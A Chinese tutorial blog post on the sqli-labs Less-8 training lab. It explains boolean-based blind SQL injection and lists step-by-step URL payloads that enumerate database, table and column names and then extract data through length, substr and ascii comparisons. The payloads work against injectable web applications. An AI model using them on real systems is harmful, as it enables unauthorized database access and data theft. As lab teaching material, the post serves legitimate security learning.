sqli-labs Less-8(布尔盲注)

布尔盲注其实就是构造一个SQL语句,当语句成立时,页面会返回特点的标识,语句不成立是返回其他,或无数据。因此我们可以构造一个判断语句,利用页面的返回结果来得知判断语句是否正确。
再学习布尔盲注之前,一些常用函数如下:

length(): 返回字符串长度。
substr(str, start, len): 截取str,从start开始,截取长度为len。
ascii(): 返回字符串的ascii码。

1、判断共有几个数据库
payload

?id=1' and (select count(schema_name) from information_schema.schemata)=6 --+

image-20210211201146897

2、判断当前数据库名长度
payload

?id=1' and length(database())=8 --+

image-20210211201215719

3、判断当前数据库名称
payload

?id=1' and substr(database(),1,1)='s' --+
?id=1' and ascii(substr(database(), 1, 1))=115 --+

image-20210211201245408

4、判断其他数据库名长度
payload

?id=1' and length((select schema_name from information_schema.schemata limit 0,1))=11 --+

image-20210211201347851

可以通过修改limit后的值,来依次判断所有数据库名的长度。

5、判断其他数据库名称
payload

?id=1' and substr((select schema_name from information_schema.schemata limit 0,1),1,1)='c' --+

image-20210211201439204

6、判断数据库中的表的数量
payload

?id=1' and (select count(table_name) from information_schema.tables where table_schema='security') = 4--+

image-20210211201511681

7、判断表名长度
payload

?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1)) = 6--+

image-20210211201554379

8、判断表名
payload

?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1) = 'e'--+
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) = 101--+

image-20210211201625870

9、判断表中字段数量
payload

?id=1' and (select count(column_name) from information_schema.columns where table_name='emails')=2  --+

image-20210211201653309

10、判断表中字段名长度
payload

?id=1' and length((select column_name from information_schema.columns where table_name='emails' limit 0,1)) =2 --+

image-20210211201724467

11、判断字段名
payload

?id=1' and substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1) ='i' --+

image-20210211201753718

12、判断数据长度
payload

?id=1' and length((select id from security.emails limit 0,1)) = 1 --+

13、读取数据
payload

?id=1' and substr((select id from security.emails limit 0,1),1,1) = 1 --+
?id=1' and ascii(substr((select id from security.emails limit 0,1),1,1)) = 49 --
  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值